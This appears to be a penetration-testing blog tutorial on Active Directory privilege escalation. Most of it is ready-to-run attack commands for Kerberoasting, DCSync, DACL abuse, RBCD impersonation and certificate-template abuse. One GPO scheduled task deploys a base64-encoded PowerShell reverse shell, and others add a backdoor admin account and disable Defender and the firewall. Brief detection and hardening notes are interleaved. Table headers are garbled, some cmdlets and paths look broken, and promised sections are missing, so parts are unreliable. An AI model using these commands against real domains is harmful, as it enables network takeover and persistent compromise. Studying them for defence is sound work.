Table of Contents
Toggle
Getting into a network is rarely the hard part in penetration testing. A phishing email lands. A misconfigured service is exposed. A password is reused across a VPN and a domain account. Initial access, while valuable, gives an attacker relatively little on its own – usually the permissions of a standard domain user, a service account, or a machine account. What happens next is where most Active Directory compromises become catastrophic.
In Part 1 of this penetration testing series, we covered the reconnaissance and enumeration phase: mapping the domain with LDAP queries, harvesting data with BloodHound, extracting service principal names for Kerberoasting, and identifying accounts vulnerable to AS-REP Roasting. In Parts 2 and 3, we covered credential access, lateral movement fundamentals, and the tooling that red teams rely on to move efficiently across a Windows environment during a penetration test.
Part 4 picks up at the inflection point that defines most real-world Active Directory compromises during penetration testing: the transition from a low-privileged foothold to domain dominance. This is the phase where misconfigurations, excessive permissions, and architectural weaknesses in Active Directory Certificate Services (ADCS) transform a limited domain account into a golden ticket, literally and figuratively.
This article covers Active Directory privilege escalation in depth for penetration testing purposes, including DACL abuse, Resource-Based Constrained Delegation, Shadow Credentials, and the full spectrum of ADCS escalation paths known as ESC1 through ESC10. It then addresses the techniques attackers use to maintain persistence, DCSync, Golden Tickets, Silver Tickets, DCShadow, and SID History manipulation, before examining detection engineering, Microsoft Defender for Identity, and the broader discipline of Identity Threat Detection and Response.
Throughout, the perspective is dual: understanding how attacks work in penetration testing is inseparable from understanding how to detect and prevent them. Defenders who do not understand the offensive techniques they are trying to stop will always be one step behind.
Before diving into privilege escalation during a penetration test, it helps to remember where a typical attacker stands at the end of the enumeration phase.
After running BloodHound against the domain and collecting LDAP data, a red team operator during a penetration test typically has:
A complete graph of Active Directory objects: users, computers, groups, OUs, and GPOs
Identified accounts with Kerberoastable Service Principal Names (SPNs)
Identified accounts configured for AS-REP Roasting (no pre-authentication required)
A map of delegation relationships, including unconstrained and constrained delegation
Potentially cracked NTLM hashes or Kerberos tickets from offline attacks
A clear picture of administrative group memberships across the domain
What they almost certainly do not have is Domain Admin. BloodHound’s real value in the early phase of a penetration test is identifying the shortest path to domain compromise, a chain of permissions, misconfigurations, or trust relationships that leads from the current foothold to Domain Admins, Enterprise Admins, or equivalent privilege.
The next phase in the penetration test is executing that path. This is Active Directory privilege escalation.
Privilege escalation in Active Directory penetration testing is simply moving from “I can’t do much” to “I can do everything.” But here’s what most people get wrong: privilege in Active Directory isn’t a straight ladder. It’s a web.
Vertical escalation is what everyone thinks about: going from a standard domain user to Domain Admin. That’s the jackpot in any penetration test.
Horizontal escalation is less obvious but just as important. Imagine you compromise a standard user account, and that user happens to be a member of the local administrators group on 50 workstations. You haven’t escalated vertically, yet you’re still just a regular domain user. But you can now move laterally across 50 machines. From one of those machines, you might find a service account logged in with Domain Admin privileges. That’s horizontal enabling vertical.
Real-world penetration testing example: You compromise jsmith, a help desk employee. JSmith is a member of the “Workstation Admins” group, which has local admin privileges on every workstation in the company. You use that access to move to the IT manager’s workstation, find their cached credentials, and escalate to Domain Admin. That’s horizontal → vertical.
Here’s a truth I’ve learned from years of penetration testing: Active Directory privilege escalation is rarely about CVEs.
You’re not exploiting a buffer overflow. You’re not bypassing ASLR. You’re abusing permissions that someone, often years ago, set up for convenience and never reviewed.
| What You Might Find in a Penetration Test: What | t It Means | How It Happened |
|---|---|---|
svc_backup has GenericAll on the Domain Admins group | The backup service account can add itself to the Domain Admins group | Someone delegated this “temporarily” and forgot |
jsmith has WriteDACL on the CEO’s user object | JSmithcan grant himself full control over the CEO’s account | The help desk was given too much power to reset passwords |
| Any authenticated user can enroll in a certificate template | A standard user can get a cert that authenticates as anyone | The template was created for VPN and was never locked down |
Vulnerability scanners won’t find these. They’re not vulnerabilities, they’re misconfigurations. And misconfigurations are what penetration testers live for.
Practical command to find these in a penetration test:
# Find all users with GenericAll on any object Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} | ForEach-Object { $object = Get-DomainObject -Identity $_.ObjectDN $subject = Get-DomainObject -Identity $_.SecurityIdentifier Write-Host "$subject has GenericAll on $object" }
Let me break down the four ways you’ll escalate privileges in a penetration test. Each one has practical commands you can run right now.
This is extracting or replaying authentication material. You’re stealing keys, not breaking locks.
Practical examples from penetration testing:
# Kerberoasting — request a service ticket and crack it offline GetUserSPNs.py corp.example.com/jsmith:'Password1' -request -outputfile hashes.txt hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt -r best64.rule # Pass-the-Hash — use a stolen hash to authenticate without cracking netexec smb 192.168.1.100 -u administrator -H aad3b435b51404eeaad3b435b51404ee # DCSync — extract all hashes from the domain (requires Domain Admin or replication rights) secretsdump.py corp.example.com/da_user:'Password'@192.168.1.100
Why this works in penetration tests: Service accounts have passwords set in 2018 that haven’t been changed. They’re weak. They crack in minutes.
This is an abuse of delegated rights in Active Directory object ACLs. Someone gave you a key — you’re just using it.
Practical examples from penetration testing:
# Scenario: You have GenericWrite on svc_sql # You can set a malicious SPN and Kerberoast it Set-DomainObject -Identity svc_sql -Set @{serviceprincipalname='nonexistent/FAKE'} # Then request a TGS for that SPN and crack it # Scenario: You have ForceChangePassword on a Domain Admin # You can reset their password without knowing the current one Set-DomainUserPassword -Identity domainadmin -NewPassword 'NewPass123!' # Scenario: You have AddMember on Domain Admins # Add yourself directly to the group Add-DomainGroupMember -Identity "Domain Admins" -Members "jsmith"
What this looks like in BloodHound: You see a red edge from your account to a high-value target. That edge is labeled “GenericAll,” “WriteDACL,” or “ForceChangePassword.” Right-click it. It tells you exactly what permission you have.
This is exploiting Kerberos delegation or domain trust configurations.
Practical examples from penetration testing:
Unconstrained Delegation: You compromise a machine with unconstrained delegation. Every user who RDPs or connects to that machine leaves their TGT in memory. You extract it and impersonate them.
# Find unconstrained delegation computers (excluding DCs) Get-DomainComputer -Unconstrained | Where-Object {$_.Name -notlike "*DC*"} # Compromise the machine, dump TGTs Rubeus.exe dump /service:krbtgt /nowrap # Use the TGT to impersonate the user Rubeus.exe ptt /ticket:base64-ticket
Resource-Based Constrained Delegation (RBCD): You have write access to a computer object. You configure it to trust your machine for delegation, then impersonate Domain Admin to it.
# Create a computer account (default: any user can create 10) New-MachineAccount -MachineAccount attackerPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) # Get the SID of your new computer Get-DomainComputer -Identity attackerPC # Set RBCD on the target computer Set-DomainRBCD -Identity targetDC -DelegateFrom attackerPC # Impersonate Domain Admin to the target Rubeus.exe s4u /user:attackerPC$ /impersonateuser: administrator /msdsspn: CIFS/targetDC /altservice:cifs /ptt
This is exploiting misconfigured ADCS templates or CA settings. This is the attack path I see most often missed in penetration tests.
Practical examples from penetration testing:
# Find vulnerable certificate templates with Certipy certipy find -u jsmith -p 'Password1' -dc-ip 192.168.1.100 # ESC1: Template allows SAN specification # Request a certificate as Domain Admin certipy req -u jsmith -p 'Password1' -ca corp-CA -target 192.168.1.100 \ -template UserEnroll -upn administrator@corp.example.com # Use the certificate to get a TGT certipy auth -pfx administrator.pfx -dc-ip 192.168.1.100 # You now have a TGT for Domain Admin
What this looks like in a penetration test: You’re a standard domain user. You request a certificate with “administrator” in the SAN field. The CA issues it. You authenticate as Domain Admin. Zero password cracking. Zero privilege escalation, just a misconfigured template.
Active Directory privilege escalation in penetration testing is not about exploiting vulnerabilities. It’s about exploiting permissions. The keys to the kingdom are already in the directory someone just left them lying around.
Your job as a penetration tester is to find them. BloodHound shows you where they are. The commands above show you how to use them. The rest is patience and practice.
In a real penetration testing, every object in Active Directory, users, groups, computers, OUs, and GPOs has an Access Control List (ACL). Think of it as a permission spreadsheet that says who can do what to each object.
Here’s the problem: over the years of using Active Directory, these ACLs have become a tangled mess. Permissions get added for convenience and never removed. Delegation happens for one project and stays forever. By the time you run a penetration test, there are dozens of hidden paths from standard users to Domain Admin.
Let me tell you which permissions I get most excited about during a penetration test:
| ACE Permission: What | t It Lets You Do, Why | y It’s Gold in a Penetration Test |
|---|---|---|
| GenericAll | Full control over the object | Reset passwords, add to groups, modify anything — complete takeover |
| GenericWrite | Write to non-protected attributes | Add a malicious SPN for Kerberoasting, modify logon scripts |
| WriteDACL | Modify the object’s own ACL | Grant yourself GenericAll on anything |
| WriteOwner | Change who owns the object | Become the owner, then give yourself full control |
| AddMember | Add members to a group | Put yourself directly into the Domain Admins |
| ForceChangePassword | Reset password without knowing the current one | Take over any account instantly |
Let me show you three real scenarios I’ve actually run during penetration tests.
You’re running a penetration test. BloodHound shows that svc_backup has GenericAll on the Domain Admins group.
What this means: You can add any account to Domain Admins. Right now. No password cracking. No phishing. Just one command:
# Add yourself to Domain Admins Add-ADGroupMember -Identity "Domain Admins" -Members "jsmith" # Verify it worked Get-ADGroupMember -Identity "Domain Admins"
Why this happens in penetration tests: Someone delegated control of Domain Admins to the backup service account because “it needed to restore AD objects.” They forgot to remove it. Years later, you’re in as Domain Admin in 30 seconds.
Here’s a more subtle one I found recently during a penetration test. BloodHound showed:
jsmith → GenericWrite → svc_sql svc_sql → AddMember → Domain Admins
What this means: You don’t have direct access to Domain Admins. But you have GenericWrite on svc_sql. You can modify svc_sql to add a malicious SPN, Kerberoast it, crack the password, then add yourself to Domain Admins.
# Step 1: Add a malicious SPN to svc_sql Set-DomainObject -Identity svc_sql -Set @{serviceprincipalname='FAKE/doesnotexist'} # Step 2: Kerberoast the account Rubeus.exe kerberoast /user:svc_sql /outfile:hash.txt # Step 3: Crack the hash hashcat -m 13100 hash.txt rockyou.txt # Step 4: Use the password to add yourself to Domain Admins Add-ADGroupMember -Identity "Domain Admins" -Members "jsmith" -Credential (Get-Credential svc_sql)
Why this works in penetration tests: svc_sql was created years ago. Nobody ever reviewed its permissions. It accidentally inherited AddMember rights from a group membership.
This is my favorite part of penetration testing. You find an account with WriteDACL on a Domain Admin user object.
What this means: You don’t have GenericAll. You don’t have ForceChangePassword. But you have WriteDACL — which means you can modify the ACL on that user object. So you grant yourself GenericAll, then reset their password.
# Step 1: Check what permissions you have Get-DomainObjectAcl -Identity domainadmin_user | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).SID} # Step 2: Grant yourself GenericAll on the Domain Admin user # (Requires a tool like PowerView or manual ADSI edit) Add-DomainObjectAcl -TargetIdentity domainadmin_user -PrincipalIdentity jsmith -Rights GenericAll # Step 3: Reset the Domain Admin's password Set-DomainUserPassword -Identity domainadmin_user -NewPassword 'NewPass123!' # Step 4: You're now a Domain Admin
Why this is stealthy: You didn’t add yourself to the Domain Admins group. You didn’t modify the Domain Admins group. You just took over one admin account. Fewer logs. Less suspicious.
Here are the commands I run during every penetration test to find DACL abuse paths:
# Find all ACLs where your current user has any permission Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.SecurityIdentifier -eq (Get-DomainUser jsmith).SID} | Select-Object ObjectDN, ActiveDirectoryRights # Find all GenericAll permissions in the domain Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} | ForEach-Object { $subject = Get-DomainObject -Identity $_.SecurityIdentifier $object = Get-DomainObject -Identity $_.ObjectDN Write-Host "$subject has GenericAll on $object" } # Find all ForceChangePassword permissions Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "ExtendedRight"} | Where-Object {$_.ObjectType -eq "00299570-246d-11d0-a768-00aa006e0529"} | ForEach-Object { $subject = Get-DomainObject -Identity $_.SecurityIdentifier $object = Get-DomainObject -Identity $_.ObjectDN Write-Host "$subject can reset password for $object" } # Find who can add members to Domain Admins Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty"} | Where-Object {$_.ObjectType -eq "bf9679c0-0de6-11d0-a285-00aa003049e2"} | ForEach-Object { $subject = Get-DomainObject -Identity $_.SecurityIdentifier Write-Host "$subject can add members to Domain Admins" }
BloodHound makes DACL abuse visible in seconds. Here’s how I use it during a penetration test:
Step 1: Run the “Shortest Paths to Domain Admins” query
This shows you every possible path from your current account to Domain Admin. Look for red edges; those are permissions you can abuse.
Step 2: Check “Outbound Object Control” on your account
Right-click your account → “Outbound Object Control” → “Transitive Object Control.” This shows every object you can influence directly or through chains.
Step 3: Look for these high-value edges
| Edge Type: What | t It Means How | w to Exploit |
|---|---|---|
| GenericAll | Full control over the target | Reset password, add to groups |
| WriteDACL | Can modify the target’s ACL | Grant yourself GenericAll |
| GenericWrite | Can write to the target’s attributes | Set SPN for Kerberoasting |
| ForceChangePassword | Can reset the target’s password | Direct takeover |
| AddMember | Can add members to the group | Add yourself to Domain Admins |
Step 4: Custom Cipher query for DACL abuse
// Find all users with GenericAll on Domain Admins MATCH (u:User)-[:GenericAll]->(g:Group {name: "DOMAIN ADMINS@CORP.EXAMPLE.COM"}) RETURN u.name, g.name // Find all users with WriteDACL on any high-value group MATCH (u:User)-[:WriteDACL]->(g:Group) WHERE g.name CONTAINS "ADMIN" OR g.name CONTAINS "DOMAIN" RETURN u.name, g.name // Find all ForceChangePassword permissions MATCH (u:User)-[:ForceChangePassword]->(t:User) WHERE t.name CONTAINS "ADMIN" OR t.name CONTAINS "DOMAIN" RETURN u.name, t.name
Here are actual findings I’ve documented in penetration test reports:
Finding 1: The Help Desk Over-Permission
“The
HelpDeskgroup hasGenericAllon all user objects in theFinanceOU. A penetration tester who compromises any help desk account can reset the password of the Finance Director, access financial systems, and move laterally to Domain Admin.”
Finding 2: The Service Account Creep
“
svc_sharepointhasWriteDACLon the Domain Admins group. This account was created for SharePoint integration in 2018. The permission was never removed. Any attacker who compromises this account can grant themselves Domain Admin.”
Finding 3: The Temporary Delegation That Became Permanent
“The
IT_Adminsgroup hasAddMemberon the Schema Admins group. This delegation was created to allow a consultant to deploy a schema extension. The consultant left three years ago. The permission remains.”
If you’re defending Active Directory, here’s how to detect and prevent DACL abuse:
Detection:
Monitor Event ID 4662 (object operation) for writes to sensitive objects.
Watch for changes to nTSecurityDescriptor on Domain Admins, Enterprise Admins, and KRBTGT.
Alert on modifications to adminCount on any object
Use Microsoft Defender for Identity’s “Suspicious ACL modification” detection
Mitigation:
# Find all permissions on Domain Admins Get-DomainObjectAcl -Identity "Domain Admins" -ResolveGUIDs | Select-Object ObjectDN, ActiveDirectoryRights, SecurityIdentifier # Find all users with GenericAll on any object Get-DomainObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -eq "GenericAll"} | ForEach-Object { $subject = Get-DomainObject -Identity $_.SecurityIdentifier $object = Get-DomainObject -Identity $_.ObjectDN Write-Host "$subject has GenericAll on $object" } | Export-Csv genericall_audit.csv # Remove unnecessary permissions (use with caution) Remove-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity svc_backup -Rights GenericAll
Let me show you how to turn Group Policy against itself during a penetration test. Group Policy is one of the most powerful mechanisms in Active Directory. It pushes security settings, software deployments, login scripts, and registry values to thousands of machines simultaneously.
That power is exactly what makes it a high-value target. If you can gain write access to a GPO during a penetration test, you can execute code as SYSTEM on every machine it applies to.
Group Policy Objects (GPOs) are stored in two places:
| Location: What’s | t It Stores. How | w Attackers Use It |
|---|---|---|
| Group Policy Container (GPC) in Active Directory | Metadata and permission information | Attackers check who can modify GPOs |
| Group Policy Template (GPT) in SYSVOL | The actual settings files | Attackers modify scripts or scheduled tasks |
A GPO is linked to a Site, Domain, or Organizational Unit (OU). When you compromise a GPO linked to the Domain Controllers OU, you own every DC. When you compromise a GPO linked to the Workstations OU, you own every workstation.
The attack surface: Who has CreateChild, DeleteChild, GenericWrite, or WriteDACL on a GPO linked to a high-value OU?
Here are the commands I run during every penetration test to find GPO abuse opportunities:
# Find all GPOs and who can modify them Get-DomainGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|WriteDACL"} | ForEach-Object { $gpo = Get-DomainGPO -Identity $_.ObjectDN $subject = Get-DomainObject -Identity $_.SecurityIdentifier Write-Host "$subject can modify $($gpo.DisplayName)" } # Find GPOs linked to high-value OUs (Domain Controllers, Servers, etc.) Get-DomainGPO -Properties DisplayName, gPCUserExtensionNames, gPCMachineExtensionNames | Where-Object {$_.gPCMachineExtensionNames -match "Domain Controllers"} # Find users with GPO write access netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --gpo --gpo-users
What you’re looking for: Any account you control that has write access to a GPO. If you find one, you can own everything in that GPO’s scope.
Let me walk you through each technique with practical commands you can run during a penetration test.
If you have write access to a GPO, you can create a scheduled task that runs as SYSTEM on every computer the GPO applies to.
# Create a scheduled task GPO using PowerView # This creates a scheduled task that runs a reverse shell every hour $command = 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQA9ACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA' # Add the scheduled task to the GPO New-GPOImmediateTask -TaskName "UpdateCheck" -Command "powershell.exe" -Arguments "-e $command" -GPODisplayName "Default Domain Policy"
What this does: Every machine in the domain will run your reverse shell within 90 minutes (the default GPO refresh interval).
GPOs support startup and logon scripts. Replace or add a script that executes attacker-controlled code.
# Find the SYSVOL path for a GPO $gpo = Get-DomainGPO -Identity "Default Domain Policy" $sysvolPath = "\\$($gpo.gPCMachineExtensionNames)\SYSVOL\$($gpo.DisplayName)\Machine\Scripts\Startup" # Copy a malicious script to the GPO's startup scripts folder Copy-Item -Path "C:\Tools\malicious.ps1" -Destination "$sysvolPath\startup.ps1" # Modify the GPO to run the script Set-GPO -Name "Default Domain Policy" -StartupScript "startup.ps1"
Sometimes you don’t want to execute code; you want to make the environment easier to exploit.
# Disable Windows Defender via GPO Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" -ValueName "DisableAntiSpyware" -Type DWord -Value 1 # Disable Windows Firewall Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfile" -ValueName "EnableFirewall" -Type DWord -Value 0 # Enable WDigest to cache cleartext passwords Set-GPRegistryValue -Name "Default Domain Policy" -Key "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -ValueName "UseLogonCredential" -Type DWord -Value 1
GPOs support MSI package deployment. Deploy malicious software as SYSTEM to all in-scope computers.
# Create a malicious MSI package # (Tools like msfvenom can generate MSI payloads) # Deploy via GPO $gpo = Get-DomainGPO -Identity "Default Domain Policy" New-GPOMsi -Name "BackupAgent" -Package "\\fileserver\share\malicious.msi" -GPODisplayName $gpo.DisplayName
Let me walk you through a real penetration test scenario.
Step 1: Find GPOs you can modify
# From Linux using NetExec netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --gpo --gpo-permissions # Output shows: # GPO: Default Domain Policy (CN={31B2F340-016D-11D2-945F-00C04FB984F9}) # WriteDACL: jsmith
Step 2: Create a scheduled task for persistence
# Use PowerView to add a scheduled task to the GPO $gpo = Get-DomainGPO -Identity "Default Domain Policy" New-GPOImmediateTask -TaskName "WindowsUpdateService" -Command "cmd.exe" -Arguments "/c net user backdoor Password123! /add && net localgroup administrators backdoor /add" -GPODisplayName $gpo.DisplayName
Step 3: Wait for GPO refresh (90 minutes default, or force it)
# Force GPO refresh on a target machine Invoke-GPUpdate -Computer "TARGET01" -Force
Step 4: Verify the backdoor account exists
netexec smb 192.168.1.100 -u backdoor -p 'Password123!'
Detection:
# Monitor GPO modifications Get-WinEvent -FilterHashtable @{LogName='Security'; Id=5136} | Where-Object {$_.Properties[5].Value -match "CN=.*Policy"} | Select-Object TimeCreated, @{N='ModifiedBy'; E={$_.Properties[1].Value}}, @{N='Object'; E={$_.Properties[6].Value}} # Check for suspicious scheduled tasks in GPOs Get-DomainGPO | Get-GPRegistryValue -Key "HKLM\SOFTWARE\Policies\Microsoft\Windows\ScheduledTasks"
Remediation:
Restrict GPO creation to dedicated GPO administrators.
Apply least-privilege permissions on GPOs
Monitor Event ID 5136 for GPO modifications.
Use Microsoft Defender for Identity’s GPO abuse detection.
Let me show you one of the most powerful privilege escalation techniques in modern penetration testing. RBCD turns a small misconfiguration into a direct path to Domain Admin.
Think of Kerberos delegation as “I’ll authenticate on your behalf.”
Unconstrained delegation (most dangerous): A machine or service account configured for unconstrained delegation receives a copy of the TGT of any user who authenticates to it. Compromise this machine, and you get TGTs for every user who logs in, including Domain Admins.
Constrained delegation (better): Restricts which services a delegating account can impersonate users to. Better than unconstrained, but still requires Domain Admin involvement.
Resource-Based Constrained Delegation (RBCD): The target resource specifies which accounts can delegate to it. This is controlled via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer object.
Here’s the critical difference: modifying msDS-AllowedToActOnBehalfOfOtherIdentity only requires write access to the target computer object, not Domain Admin rights.
If you have GenericWrite or WriteDACL on a computer account (which is far more common than Domain Admin access), you can:
Create a computer account (by default, any domain user can create up to 10)
Write that computer account’s SID into the target’s msDS-AllowedToActOnBehalfOfOtherIdentity
Use S4U2Proxy to request a service ticket to the target as any user — including Domain Admin
No vulnerability. No exploit. Just a misconfigured permission.
Here’s exactly how to run an RBCD attack during a penetration test.
Step 1: Check if you can create computer accounts
# Check MachineAccountQuota netexec ldap 192.168.1.100 -u jsmith -p 'Password1' --machine-account-quota # If it's 10 or more (default is 10), you're good
Step 2: Create a new computer account
# Using Impacket addcomputer.py corp.example.com/jsmith:'Password1' -computer-name ATTACKERPC -computer-pass 'Password123!' # Using PowerView (Windows) New-MachineAccount -MachineAccount ATTACKERPC -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Step 3: Get the SID of your new computer account
# Using Impacket lookupsid.py corp.example.com/jsmith:'Password1'@192.168.1.100 # Or from Windows Get-DomainComputer -Identity ATTACKERPC | Select-Object ObjectSID
Step 4: Set RBCD on the target computer
# Using PowerView (Windows) Set-DomainRBCD -Identity TARGETDC -DelegateFrom ATTACKERPC # Using Impacket (Linux) rbcd.py corp.example.com/jsmith:'Password1' -target-computer TARGETDC -delegate-from ATTACKERPC
Step 5: Impersonate the Domain Admin to the target
# Using Rubeus (Windows) Rubeus.exe s4u /user:ATTACKERPC$ /password:Password123! /impersonateuser: administrator /msdsspn: CIFS/TARGETDC /altservice:cifs /ptt # Using Impacket (Linux) getST.py corp.example.com/ATTACKERPC:'Password123!' -spn CIFS/TARGETDC -impersonate administrator export KRB5CCNAME=administrator.ccache
Step 6: Access the target as Domain Admin
# Connect to TARGETDC as Domain Admin netexec smb TARGETDC -k
// Find all computers with write permissions from non-admin accounts MATCH (u:User)-[:GenericWrite|WriteDACL|WriteOwner]->(c:Computer) WHERE NOT u.name CONTAINS "ADMIN" RETURN u.name, c.name // Find all computers with RBCD configured MATCH (c:Computer {rbad: true}) RETURN c.name, c.rbad
Detection:
Monitor Event ID 4742 (computer account modified) for changes to msDS-AllowedToActOnBehalfOfOtherIdentity
Alert on S4U2Proxy Kerberos requests (Event ID 4769) where the impersonated user is a high-privilege user
Microsoft Defender for Identity detects suspicious RBCD configurations
Hardening:
# Set MachineAccountQuota to 0 Set-ADObject -Identity "DC=corp,DC=example,DC=com" -Replace @{"ms-DS-MachineAccountQuota"=0} # Audit all RBCD configurations Get-DomainComputer -Properties name, msds-allowedtoactonbehalfofotheridentity | Where-Object {$_.msds-allowedtoactonbehalfofotheridentity -ne $null}
GPO abuse and RBCD are two of the most powerful privilege escalation techniques in Active Directory penetration testing. They don’t require exploits. They don’t require cracking passwords. They require finding the right permission.
GPO abuse: Write access to a GPO = SYSTEM on every machine in scope
RBCD: Write access to a computer account = Domain Admin impersonation
Both are common. Both are overlooked. Both will get you to Domain Admin in minutes during a penetration test.
Learning the methodology is important, but mastering it requires hands-on practice.
If you’re serious about penetration testing, red teaming, or Active Directory security assessments, try realistic cybersecurity CTF labs that let you practice reconnaissance, enumeration, credential attacks, privilege escalation, and exploitation techniques in a safe environment.